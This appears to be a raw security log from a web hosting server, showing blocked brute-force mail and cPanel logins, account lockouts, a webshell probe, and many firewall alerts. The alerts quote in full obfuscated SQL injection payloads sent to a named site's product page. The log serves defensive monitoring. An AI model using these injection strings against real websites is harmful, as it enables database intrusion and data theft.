abuser: 189.149.7.197
country_id: 3996063
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1') and and/**/1376=cast(('~'||(select/**/(case/**/when/**/(1376=1376)/**/then/**/1/**/else/**/0/**/end))||'~')/**/as/**/integer)-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:49:50 dovecot_login authenticator failed for H=(pCIO2kg) [158.94.208.175]:52728: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.188.253.150
country_id: 1269750
description:
2026-02-02 05:49:58 dovecot_login authenticator failed for H=([180.188.253.150]) [180.188.253.150]:54522: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.177.190
country_id: 1814991
description:
2026-02-02 05:49:07 dovecot_login authenticator failed for H=([111.61.177.190]) [111.61.177.190]:60514: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:49:08 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink has been locked for the attacker IP 165.154.217.204


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 189.149.7.197
country_id: 3996063
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1\" AND AND/**/1110=CAST(('~'||(SELECT/**/(CASE/**/WHEN/**/(1110=1110)/**/THEN/**/1/**/ELSE/**/0/**/END))||'~')/**/AS/**/INTEGER)-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 05:49:13 dovecot_login authenticator failed for H=(9FB3xNAsDB) [77.83.39.253]:59148: 535 Incorrect authentication data (set_id=kwchin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:49:22 dovecot_login authenticator failed for H=(WgGEdUGPz) [178.16.52.139]:64899: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:49:33 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:52543: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:50:03 dovecot_login authenticator failed for H=(I0wisifje) [178.16.52.139]:56794: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 189.149.7.197
country_id: 3996063
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1'and/**/2491=cast(('~'||(select/**/(case/**/when/**/(2491=2491)/**/then/**/1/**/else/**/0/**/end))||'~')/**/as/**/integer) or '1rviukug'='yfekheuy||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 189.149.7.197
country_id: 3996063
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1'AND/**/2491=CAST(('~'||(SELECT/**/(CASE/**/WHEN/**/(2491=2491)/**/THEN/**/1/**/ELSE/**/0/**/END))||'~')/**/AS/**/INTEGER) OR '1RVIukUg'='YFEKheUY||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:50:22 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:63082: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:50:24 dovecot_login authenticator failed for H=(njnjFNj) [158.94.208.175]:62913: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 05:50:25 dovecot_login authenticator failed for H=(DYZy2QlF) [77.83.39.253]:1186: 535 Incorrect authentication data (set_id=kwchin)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.149.7.197
country_id: 3996063
domain: www.aoto.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET /product-detail.php?id=1AND/**/6993=CAST(('~'||(SELECT/**/(CASE/**/WHEN/**/(6993=6993)/**/THEN/**/1/**/ELSE/**/0/**/END))||'~')/**/AS/**/INTEGER)# nS5v6Aun HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:50:04 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:50:05 dovecot_login authenticator failed for H=(UpjmgqEiZm) [165.154.217.204]:60351: 535 Incorrect authentication data (set_id=intercessors)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 14.160.142.182
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1')and/**/1939=cast(('~'||(select/**/(case/**/when/**/(1939=1939)/**/then/**/1/**/else/**/0/**/end))||'~')/**/as/**/integer)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 14.160.142.182
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1')AND/**/1939=CAST(('~'||(SELECT/**/(CASE/**/WHEN/**/(1939=1939)/**/THEN/**/1/**/ELSE/**/0/**/END))||'~')/**/AS/**/INTEGER)-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 05:51:14 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:49514: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 113.169.106.166
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1\")))and/**/6164=cast(('~'||(select/**/(case/**/when/**/(6164=6164)/**/then/**/1/**/else/**/0/**/end))||'~')/**/as/**/xml) and (((\"qsydtbea\"=\"qsydtbea\"||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.220.3.101
country_id: 226074
description:
2026-02-02 05:51:39 dovecot_login authenticator failed for H=([41.220.3.113]) [41.220.3.101]:6204: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:51:02 dovecot_login authenticator failed for H=(Zv1TjNSL) [165.154.217.204]:49613: 535 Incorrect authentication data (set_id=intercessors)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:51:03 dovecot_login authenticator failed for H=(gCgSSI78) [165.154.217.204]:49610: 535 Incorrect authentication data (set_id=prayerlink)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 05:51:13 dovecot_login authenticator failed for H=(qeyJ7ejSgv) [77.83.39.253]:45907: 535 Incorrect authentication data (set_id=kwchin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 8.243.166.66
country_id: 3686110
description:
2026-02-02 05:51:51 dovecot_login authenticator failed for H=([8.243.166.66]) [8.243.166.66]:4501: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:51:33 dovecot_login authenticator failed for H=(RJGL2C) [178.16.52.139]:58897: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.235.31.47
country_id: 6252001
description:
2026-02-02 05:51:37 dovecot_login authenticator failed for H=(netmail.nasmhpd.org) [50.235.31.47]:43530: 535 Incorrect authentication data (set_id=info@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:51:11 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:56745: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:51:20 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.114.84.246
country_id: 1814991
description:
2026-02-02 05:51:19 dovecot_login authenticator failed for H=([116.114.84.246]) [116.114.84.246]:45566: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.169.106.166
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET /product-detail.php?id=1AND/**/8590=CAST(('~'||(SELECT/**/(CASE/**/WHEN/**/(8590=8590)/**/THEN/**/1/**/ELSE/**/0/**/END))||'~')/**/AS/**/XML)# I2yky0WA HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:51:32 dovecot_login authenticator failed for H=(Dz7SVGZS4u) [158.94.208.175]:49970: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 113.169.106.166
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1\")))AND/**/6164=CAST(('~'||(SELECT/**/(CASE/**/WHEN/**/(6164=6164)/**/THEN/**/1/**/ELSE/**/0/**/END))||'~')/**/AS/**/XML) AND (((\"QsyDTbEA\"=\"QsyDTbEA\"||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.238.46.179
country_id: 99237
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/symfony/translation/Tests/fixtures/empty-translation.po HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.87.213.16
country_id: 732800
description:
2026-02-02 05:52:33 dovecot_login authenticator failed for H=95-87-213-16.ip.btc-net.bg [95.87.213.16]:49545: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 05:52:01 dovecot_login authenticator failed for H=(3V9E8Xyqi) [77.83.39.253]:31914: 535 Incorrect authentication data (set_id=kwchin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:52:12 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:50374: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.26.62.42
country_id: 1814991
description:
2026-02-02 05:52:24 dovecot_login authenticator failed for H=([111.26.62.41]) [111.26.62.42]:46330: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 14.187.96.180
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1')and/**/3067/**/in/**/(select/**/('~'+(select/**/(case/**/when/**/(3067=3067)/**/then/**/'1'/**/else/**/'0'/**/end))+'~')) and ('f1xyybcr' like 'f1xyybcr||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:52:19 dovecot_login authenticator failed for H=(f2OMUhSzrU) [165.154.217.204]:61615: 535 Incorrect authentication data (set_id=intercessors)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 14.187.96.180
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:REQUEST_HEADERS:Referer||MV:https://www.aoto.com.my/product-detail.php?id=1\")AND/**/3136/**/IN/**/(SELECT/**/('~'+(SELECT/**/(CASE/**/WHEN/**/(3136=3136)/**/THEN/**/'1'/**/ELSE/**/'0'/**/END))+'~')) AND (\"Zyx4sp1L\"=\"Zyx4sp1L\"||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:52:26 dovecot_login authenticator failed for H=(1oGOmMYOhH) [178.16.52.139]:57360: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:52:05 dovecot_login authenticator failed for H=(cDvBlt) [158.94.208.175]:50433: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 113.169.106.166
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1\" and and/**/9666/**/in/**/(select/**/('~'+(select/**/(case/**/when/**/(9666=9666)/**/then/**/'1'/**/else/**/'0'/**/end))+'~'))-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 77.83.39.253
country_id: 690791
description:
Feb  2 05:52:23 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kwchin has been locked for the attacker IP 77.83.39.253


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.187.96.180
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET /product-detail.php?id=1AND/**/5573/**/IN/**/(SELECT/**/('~'+(SELECT/**/(CASE/**/WHEN/**/(5573=5573)/**/THEN/**/'1'/**/ELSE/**/'0'/**/END))+'~'))# pfRejWDe HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 113.169.106.166
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1\" AND AND/**/9666/**/IN/**/(SELECT/**/('~' (SELECT/**/(CASE/**/WHEN/**/(9666=9666)/**/THEN/**/'1'/**/ELSE/**/'0'/**/END)) '~'))-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:52:17 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors has been locked for the attacker IP 165.154.217.204


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 14.187.96.180
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1'AND/**/2673/**/IN/**/(SELECT/**/('~' (SELECT/**/(CASE/**/WHEN/**/(2673=2673)/**/THEN/**/'1'/**/ELSE/**/'0'/**/END)) '~')) OR 'PIBAT6sR'='u4myXB1e||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.101
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/portfolio/img/img/img/img/img/img/img/img/img/img/img/news.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 05:53:13 dovecot_login authenticator failed for H=(Jg6QNdM) [77.83.39.253]:46056: 535 Incorrect authentication data (set_id=kwchin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 05:53:23 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:59386: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:53:51 dovecot_login authenticator failed for H=(dLiSdtl) [178.16.52.139]:62889: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 208.86.61.187
country_id: 6252001
description:
2026-02-02 05:53:51 dovecot_login authenticator failed for H=([127.0.0.1]) [208.86.61.187]:37921: 535 Incorrect authentication data (set_id=business)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 14.187.96.180
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1'and/**/2673/**/in/**/(select/**/('~'+(select/**/(case/**/when/**/(2673=2673)/**/then/**/'1'/**/else/**/'0'/**/end))+'~')) or 'pibat6sr'='u4myxb1e||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.142.165.111
country_id: 1835841
description:
2026-02-02 05:53:11 dovecot_login authenticator failed for H=([121.142.165.111]) [121.142.165.111]:35794: 535 Incorrect authentication data (set_id=info@stonewld.com.my)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 14.189.163.216
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1) AND AND/**/2518=CONVERT(INT,(SELECT/**/'~' (SELECT/**/(CASE/**/WHEN/**/(2518=2518)/**/THEN/**/'1'/**/ELSE/**/'0'/**/END)) '~'))-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.21.241.50
country_id: 1814991
description:
2026-02-02 05:53:41 dovecot_login authenticator failed for H=([218.21.241.50]) [218.21.241.50]:34780: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 77.83.39.253
country_id: 690791
description:
Feb  2 05:53:11 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kwchin has been locked for the attacker IP 77.83.39.253


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:53:17 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors has been locked for the attacker IP 165.154.217.204


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 14.189.163.216
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1) and and/**/2518=convert(int,(select/**/'~'+(select/**/(case/**/when/**/(2518=2518)/**/then/**/'1'/**/else/**/'0'/**/end))+'~'))-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 05:53:36 dovecot_login authenticator failed for H=(ISzHVr4) [185.230.124.69]:62215: 535 Incorrect authentication data (set_id=darren@indfinitydesign.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.181.187.182
country_id: 1269750
description:
2026-02-02 05:53:44 dovecot_login authenticator failed for H=([127.0.0.1]) [223.181.187.182]:57197: 535 Incorrect authentication data (set_id=business@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:53:09 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:60359: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:53:09 dovecot_login authenticator failed for H=(4Q18hhFEVk) [158.94.208.175]:62234: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:53:18 dovecot_login authenticator failed for H=(NTJvkgOolL) [165.154.217.204]:51874: 535 Incorrect authentication data (set_id=prayerlink)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:53:19 dovecot_login authenticator failed for H=(F0dw2UAfP) [165.154.217.204]:52000: 535 Incorrect authentication data (set_id=intercessors)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.172.79.198
country_id: 1819730
description:
2026-02-02 05:54:47 dovecot_login authenticator failed for H=69-172-79-198.static.imsbiz.com (173-248-234-145.static.imsbiz.com) [69.172.79.198]:60071: 535 Incorrect authentication data (set_id=info@acburn.com.my)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 113.180.228.113
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1')AND/**/6234=CONVERT(INT,(SELECT/**/'~' (SELECT/**/(CASE/**/WHEN/**/(6234=6234)/**/THEN/**/'1'/**/ELSE/**/'0'/**/END)) '~'))-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 79.105.67.246
country_id: 2017370
description:
2026-02-02 05:54:29 dovecot_login authenticator failed for H=([127.0.0.1]) [79.105.67.246]:52104: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:54:33 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:51139: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 68.60.77.128
country_id: 6252001
description:
2026-02-02 05:54:11 dovecot_plain authenticator failed for H=c-68-60-77-128.hsd1.mi.comcast.net (fultoubite) [68.60.77.128]:58336: 535 Incorrect authentication data (set_id=iliyas@maalloys.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 05:54:15 dovecot_login authenticator failed for H=(7Y6SLLXG) [185.230.124.69]:52335: 535 Incorrect authentication data (set_id=darren@indfinitydesign.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:54:17 dovecot_login authenticator failed for H=(BfjxHiOf) [165.154.217.204]:56784: 535 Incorrect authentication data (set_id=intercessors)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  2 05:54:19 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 14.189.163.216
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1'))and/**/10519=convert(int,(select/**/'~'+(select/**/(case/**/when/**/(10519=10519)/**/then/**/'1'/**/else/**/'0'/**/end))+'~')) and (('wgfmrb9a' like 'wgfmrb9a||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.189.163.216
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET /product-detail.php?id=1AND/**/8901=CONVERT(INT,(SELECT/**/'~'+(SELECT/**/(CASE/**/WHEN/**/(8901=8901)/**/THEN/**/'1'/**/ELSE/**/'0'/**/END))+'~'))# Qw8XO79L HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:54:21 dovecot_login authenticator failed for H=(bu5f3X) [178.16.52.139]:53929: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:54:15 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.211.12.153
country_id: 3144096
description:
2026-02-02 05:54:21 dovecot_login authenticator failed for H=([127.0.0.1]) [84.211.12.153]:44535: 535 Incorrect authentication data (set_id=info@astlog.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 77.83.39.253
country_id: 690791
description:
Feb  2 05:54:02 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kwchin has been locked for the attacker IP 77.83.39.253


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 14.189.163.216
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1\")))AND\x055928=CONVERT(INT,(SELECT\r'~' (SELECT\r(CASE\x02WHEN\r(5928=5928)\vTHEN\x05'1'\tELSE\x02'0'\x06END)) '~')) AND (((\"nJ2b4iAW\"=\"nJ2b4iAW\"||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 113.180.228.113
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1')and/**/6234=convert(int,(select/**/'~'+(select/**/(case/**/when/**/(6234=6234)/**/then/**/'1'/**/else/**/'0'/**/end))+'~'))-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 05:54:04 dovecot_login authenticator failed for H=(yw5z35xzZ) [77.83.39.253]:42319: 535 Incorrect authentication data (set_id=kwchin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:54:38 dovecot_login authenticator failed for H=(mXISxtBB) [158.94.208.175]:52887: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-02-02 05:54:57 dovecot_login authenticator failed for H=54.126.103.87.rev.vodafone.pt [87.103.126.54]:33828: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 05:55:32 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:45512: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.204.54.153
country_id: 6252001
description:
[2026-02-02 05:55:51 +0800] info [cpaneld] 185.204.54.153 - liam "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user liam (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.175.238.154
country_id: 1643084
domain: www.aoto.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET /product-detail.php?id=1AND/**/9686=CONCAT('~',(SELECT/**/(CASE/**/WHEN/**/(9686=9686)/**/THEN/**/'1'/**/ELSE/**/'0'/**/END)),'~')# lJ2itmz0 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:55:23 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:62254: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 05:55:12 dovecot_login authenticator failed for H=(JNp3NMr) [185.230.124.69]:49231: 535 Incorrect authentication data (set_id=darren@indfinitydesign.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
